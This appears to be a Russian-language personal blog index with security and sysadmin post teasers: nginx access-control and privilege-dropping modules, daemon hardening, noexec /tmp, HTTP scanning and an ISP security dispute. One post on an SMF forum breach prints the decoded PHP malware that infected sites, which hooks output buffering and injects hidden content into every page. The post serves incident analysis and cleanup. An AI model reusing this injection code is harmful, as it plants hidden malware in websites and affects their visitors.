Модуль поддержки tcpwrappers для nginx
TCP Wrappers — система контроля доступа, используемая для ограничения доступа к серверам на UNIX-подобных операционных системах (Linux, BSD). Контроль доступа может осуществляться, например, по имени хоста (полному или частичному), адресу, подсети. Подробности приведены здесь.
TCP Wrappers очень удобно использовать с программами для защиты от червей (BlackHosts, DenyHosts, Fail2ban), в частности, для защиты от HTTP-сканирования.
Огромным достоинством TCP Wrappers является возможность динамической конфигурации списков контроля доступа (что избавляет от необходимости перезапускать защищаемый сервис) и простота файлов конфигурации (это субъективно).
К сожалению, nginx не поддерживает TCP Wrappers из коробки. К счастью, это можно исправить. Далее »
Автор: Vladimir, опубликовано в: C/C++, nginx, Администрирование, Безопасность, комментариев: 2Окт
2009
ngx_drop_privs: принцип минимальных привилегий в nginx
nginx — замечательный web-сервер, но, как и практически любой программный продукт, не свободен от ошибок, временами весьма критических.
Архитектура nginx такова, что обычно имеется один привилегированный процесс (запускаемый от всемогущего root) и один или более рабочих процессов (обычно работающих от имени непривилегированного пользователя). Тем не менее, я видел конфигурации, в которых все процессы nginx работают под привилегированным пользователем. Один из примеров — многопользовательский сервер, Document Root сайтов на котором имеет права вида 0700 (запускать несколько nginx и настраивать проксирование — тоже не лучший выход).
Кроме того, за последние неполные пять лет в nginx найдено 112 ошибок (segmentation fault), некоторые из которых теоретически могут дать возможность выполнения произвольного кода в системе (wget http://sysoev.ru/nginx/changes.html -q -O - | grep segmentation | wc -l).
Я не знаю, все ли ошибки затрагивали только рабочие процессы, либо были ошибки в главном процессе — рисковать не хочется. Так и родилась идея написать модуль для nginx — ngx_drop_privs. Далее »
Сен
2009
Уязвимость в форуме SMF
В последнее время участились сообщения о взломах форумов, работающих на SMF (Simple Machines Forum), среди пострадавших оказался и форум русского сообщества Ubuntu. Но в чем именно проблема и чего бояться непонятно, информации было крайне мало.Сегодня появилась дополнительная информация. Данной уязвимости подвержены все версии форума, включая последнюю стабильную версию 1.1.8. Уязвимость существует в функции масштабирования аватаров.
Дополнительная информация здесь.
Проявляется эта уязвимость следующим образом: во все PHP-файлы приписывается такая строка:
BASE64 декодируется в такой PHP-код (я отформатировал код, чтобы сделать его читаемым):
if(function_exists('ob_start')&&!isset($GLOBALS['sh_no'])){
$GLOBALS['sh_no']=1;
if(file_exists('.../style.css.php')){
include_once('.../style.css.php');
if(function_exists('gml')&&!function_exists('dgobh')){
if(!function_exists('gzdecode')){
function gzdecode($d){
$f=ord(substr($d,3,1));
$h=10;
$e=0;
if($f&4){
$e=unpack('v',substr($d,10,2));
$e=$e[1];
$h+=2+$e;
}
if($f&8){
$h=strpos($d,chr(0),$h)+1;
}
if($f&16){
$h=strpos($d,chr(0),$h)+1;
}
if($f&2){
$h+=2;
}
$u=gzinflate(substr($d,$h));
if($u===FALSE){
$u=$d;
}
return $u;
}
}
function dgobh($b){
Header('Content-Encoding: none');
$c=gzdecode($b);
if(preg_match('/\<body/si',$c)){
return preg_replace('/(\<body[^\>]*\>)/si','$1'.gml(),$c);
}
else{
return gml().$c;
}
}
ob_start('dgobh');
}
}
}
?>
«Заражаются» все PHP-файлы, до которых «вирус» смог добраться: если у Вас на сайте живёт не только форум, то Вам не повезло. Как вариант, можно восстановить все файлы из резервной копии. Но что делать, если резервной копии нет?
Есть два варианта. Далее »
Автор: Vladimir, опубликовано в: Linux, Simple Machines Forum, Безопасность, комментариев: 2Май
2009
Почему важно использовать setsid()
Для того, чтобы процесс стал демоном, программисты используют вызов fork(), например, следующим образом:
close(STDIN_FILENO);
close(STDOUT_FILENO);
close(STDERR_FILENO);
pid_t pid = fork();
switch (pid) {
case 0:
// Child code — hello from the daemon
break;
case -1:
perror("fork");
exit(EXIT_FAILURE);
default:
exit(EXIT_SUCCESS);
}
Код рабочий, но с точки зрения безопасности не самый лучший. Далее »
Автор: Vladimir, опубликовано в: C/C++, Безопасность, комментариев: 1Мар
2009
WordPress + nginx: запрет выполнения PHP-файлов в uploads
В Apache проблема решается просто: в каталог uploads помещается .htaccess следующего содержания:
В nginx .htaccess не предусмотрен (что можно рассматривать и как достоинство, и как недостаток), поэтому там нужно применить несколько другой подход. Далее »
Фев
2009
Запрет выполнения файлов на /tmp
Многие эксплоиты полагаются на возможность выполнения команд в каталоге /tmp. Администраторы, зная о такой проблеме, часто разбивают диск таким образом, чтобы для /tmp выделялся свой раздел, который затем монтируется в режиме запрета выполнения файлов.
Однако остаётся одна неприятная проблема: APT может работать неправильно с такой конфигурацией.
В данной статье мы рассмотрим:
- монтирование /tmp в режиме запрета выполнения файлов как для отдельного раздела, так и в случае использования единственного раздела;
- решение проблем с
apt-get/aptitude.
Дек
2008
Как не нужно интегрировать платёжные системы
Внимание: данную статью не следует воспринимать как руководство юного хакера; материал приведён исключительно в ознакомительных целях, чтобы программисты не повторяли подобных ошибок. Далее »
Автор: Vladimir, опубликовано в: Безопасность, комментариев: 8Ноя
2008
Минимизируем неприятные последствия HTTP-сканирования
Анализируя логи Апача после полуторамесячного отпуска, я обратил внимание на то, что попыток сканирования сайта на уязвимости стало гораздо больше (сравнивая, например, с летом). Я решил проанализировать все попытки и попытаться найти решение, которое держало бы юных хакеров подальше от сайта.
Если Вы всё еще читаете 
, то скажу, что практическая реализация моего решения требует наличие доступа на запись только к файлу .htaccess, поэтому всё должно работать даже на общем хостинге. Далее »
Ноя
2008
Интернет-провайдер: как не надо делать. Часть вторая
Снова приветствую всех читателей. Как вы уже, вероятно, читали в моем длинном рассказе о халтуре одного из городских интернет-провайдеров, проблемой безопасности там заниматься никто не хочет. Сегодня я вам снова докажу это.
Итак. С момента заключения моего договора с «Оптима-Телеком», а именно 17 октября 2007 года, прошел почти год. Порядковый номер договора, присвоенный мне, имел значение 1720. Сегодня, 16 сентября, на домашний телефон позвонил человек из Оптимы, внятно не представившись, очень грубо объяснил, что у них имеются, цитирую, «неопровержимые доказательства пользования мною чужих аккаунтов», а по поводу технической стороны вопроса мне предложили пообщаться завтра в месте, которое мне озвучат по телефону, а в случае отказа меня ждет суд.
Глубоко задумавшись, я проверил, насколько Оптима справилась с задачей восстановления уровня безопасности клиентов. Для начала я совершил звонок товарищу, который сообщил мне о точно такой же проблеме в Днепропетровске, которая продолжается до сих пор. Теперь уже я, ничуть не удивившись, прогулялся в веб-статистику провайдера. Так вот. С момента моей публикации о дырище в безопасности, севастопольских аккаунтов Оптима заимела около полутысячи и сегодня, кажется, последний найденный мною договор под номером 2680 датировался от 1 сентября сего года. К сожалению, не смог проверить догадку о оставшейся проблеме для интернет-аккаунтов, поскольку мой кросс уже отцепили от дслама, а текущий отключен за неуплату и довольно давно, поскольку я находился в разъездах по стране и мне просто не до Оптимы было.
В связи с этим, принимаю все возможные юридические консультации ниже, в комментариях, а также на мыло sigmaone@ya.ru. И еще раз спасибо Владимиру за размещение статьи на его отличном блоге.
Автор: SaltyDog, опубликовано в: Безопасность, комментариев: 4Сен
2008
Водка с феназепамом? Или всё-таки правда?
Наткнулся сегодня на очень интересную статью:
Российский хакер, известный как Крис Касперски, обнаружил уязвимость в процессорах Intel, которая позволяет совершить удаленный взлом системы при помощи скрипта на JavaScript или TCP/IP-пакета вне зависимости от операционной системы. Об этом пишет PC World со ссылкой на краткое описание презентации, подготовленной Касперски.Хакер намерен в октябре продемонстрировать свою методику на конференции Hack In The Box в малайзийском Куала-Лумпуре. Касперски заявил, что намерен показать работающий код и сделать его общедоступным. Он добавил, что ошибки в микропроцессорах становятся все более серьезной угрозой, так как уже пишутся использующие их зловредные программы.
По словам хакера, некоторые ошибки процессоров позволяют просто обрушить систему, другие помогают злоумышленнику получить доступ на уровне ядра ОС, а использование третьих отключает защиту Vista.
Крис Касперски продемонстрирует свою методику взлома на компьютерах с Windows XP, Vista, Windows Server 2003, Windows Server 2008, ОС на базе ядра Linux и BSD. Возможно, также добавится Mac. На все эти системы будут установлены последние обновления.
Всё же интересно: правда ли это? Или доблестные щелкопёры всё приукрасили?
В оригинале статьи сказано:
In this presentation, I will share with the participants the finding of my CPU malware detection research which was funded by Endeavor Security. I will also present to the participants my improved POC code and will show participants how it’s possible to make an attack via JavaScript code or just TCP/IP packets storms against Intel based machine. Some of the bugs that will be shown are exploitable via common instruction sequences and by knowing the mechanics behind certain JIT Java-compilers, attackers can force the compiler to do what they want (for example: short nested loops lead to system crashes on many CPUs). I will also share with the participants my experience in data recovery and how CPU bugs have actually contributed in damaging our hard drives without our knowledge.
И я вот не могу отделаться от подозрения, что всё это розыгрыш: начать уж с того, что Java != JavaScript, и не факт, что любой движок для JavaScript будет компилировать JavaScript в родной код процессора. И я не уверен, что процессор может напрямую повредить жесткий диск (разве что он будет скармливать контроллеру соответствующие команды). Обработкой TCP/IP-пакетов процессор напрямую вообще не занимается (если только я что-то не пропустил).
Очень подозреваю, что выяснится десяток жутко специальных требований, необходимых для успешной реализации данной уязвимости.
Но всё-таки, вдруг это не самореклама и Крис прав?
Автор: Vladimir, опубликовано в: Безопасность, комментариев: 21Июл
2008
Меня зовут Владимир, я программист-фрилансер, специализирующийся на Web-программировании и програмировании под Linux.
По совместительству занимаюсь администрированием LAMP/LNMP-серверов и техническим переводом.
